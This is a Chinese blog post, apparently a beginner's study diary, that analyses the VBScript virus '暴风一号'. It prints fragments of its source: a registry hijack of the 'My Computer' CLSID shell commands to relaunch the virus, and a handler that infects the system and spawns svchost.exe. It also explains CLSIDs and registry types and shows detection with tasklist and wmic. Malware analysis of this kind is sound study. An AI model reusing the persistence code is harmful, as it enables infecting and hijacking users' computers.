“暴风一号”学习日记(一)

来源:互联网 发布:怎么连接网络 编辑:程序博客网 时间:2024/04/27 15:40

注:“暴风一号”源代码我是在网上下载的,如果哪里说错了请大家提出来,毕竟我还是个小白。谢谢。微笑

一.“暴风一号”之更改计算机类标识

代码部分:

Sub SetMyComputerAss(sFilePath)On Error Resume NextDim Value1,Value2Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC "Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC "Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ")Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ")Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ")End Sub
当时,我看到这段代码的时候只知道很明显对注册表进行了操作,但对于HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}我并没有理解,便学习了一下:

1.类标识符CLSID

CLSID也被称为CLASSID,就是唯一标识符,就像身份证号码一样,可以轻易的更改它跳转的位置。上面代码中{20D04FE0-3AEA-1069-A2D8-08002B30309D}就是“我的电脑”的标识符,常用的标识符有:

我的电脑 {20D04FE0-3AEA-1069-A2D8-08002B30309D}我的文档 {450D8FBA-AD25-11D0-98A8-0800361B1103}拨号网络 {992CFFA0-F557-101A-88EC-00DD010CCC48}控制面板 {21EC2020-3AEA-1069-A2DD-08002B30309D}计划任务 {D6277990-4C6A-11CF-8D87-00AA0060F5BF}打印机 {2227A280-3AEA-1069-A2DE-08002B30309D}记事本 {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}网络邻居 {208D2C60-3AEA-1069-A2D7-08002B30309D}回收站 {645FF040-5081-101B-9F08-00AA002F954E}

2."REG_SZ"与"REG_EXPAND_SZ"

"REG_SZ"与"REG_EXPAND_SZ"是注册表的两种数据类型,网上也有很多介绍,其具体的说明我在这里也展示出来:

REG_BINARY = 3    ‘0~多个字节  可以包含任何数据的二进制对象REG_COLOR_RGB = *  ’4字节 颜色描述REG_DWORD = 4       ‘4字节 DWORD值REG_DWORD_BIG_ENDIAN = 5         ’4字节 一个DWORD值的逆序存储形式REG_DWORD_LITTLE_ENDIAN = 4      ‘4字节   DWORD值REG_EXPAND_SZ = 2            ’0~多个字节 包含环境变量占位符的字符串REG_FILE_NAME = *         ‘0~多个字节 文件名REG_FILE_TIME = *             ’未知 文件时间REG_FULL_RESOURCE_DESCRIPTOR = 9             ‘未知 硬件资源列表REG_LINK  = 6         ’0~多个字节 命名一个符号链接(symbolic link)的Unicode串REG_MULTI_SZ = 7     ‘0~多个字节   以null字符分隔的字符串集合,集合中的最后一个字符串以两个null字符结尾REG_NONE    = 0   ’未知 REG_NONE类型的对象无须分类,它与REG_UNKNOWN类型不同REG_RESOURCE_LIST = 8      ‘未知  设备使用的资源列表REG_RESOURCE_REQUIREMENTS_LIST  = 10  ’未知  驱动程序要求的资源列表REG_SZ  = 1   ‘0~多个字节 以一个null字符线的字符串REG_UNKNOWN = (未定义)  '未知因为数据类型索引无效而无法确定的对象类型
二.“暴风一号”之病毒加载至svchost.exe

代码部分如下(只是一小部分,源代码很多):

Case "run"RunPath=Left(WScript.ScriptFullName, 2)Call Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)Case "txt", "log","ini" ,"inf"RunPath="%SystemRoot%\system32\NOTEPAD.EXE "&ParamCall Run(RunPath)Call InvadeSystem(VirusLoad,VirusAss)Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
虽然我之前完全不了解VB方面的知识,但是我也能看出来当点击这些类型文件后一定对svchost.exe做了什么手脚,于是我运行病毒,发现电脑会异常的卡顿,打开任务管理器,便看到许许多多的svchost.exe导致电脑CPU直接到达了100%(我猜是它导致的),如下图:



好吧,其实我想谁都能看出来有问题,我也一样,于是上网上找了一下怎么确定是不是病毒引出的。

然后我使用的是“tasklist /svc”命令,因为“tasklist /svc”命令可以显示出每个进程中的服务,而且一定会显示正常svchost.exe的服务,所以我也尝试了一下如下图:


然后运行cmd.exe,输入wmic。在窗口中输入“process”就可以快速查看所有svchost.exe进程的路径,不仅如此,还可以看出哪些程序在使用这个进程。如下图所示:


的确暴风一号病毒会在下面生成smss.ex.vbs文件,这个我也在研究出得到了证实,所以说暴风一号会使用自己生成的vbs文件来加载svchost.exe。

好啦,我也只研究到这里,如果我有新的研究,我会继续写的。


0 0
原创粉丝点击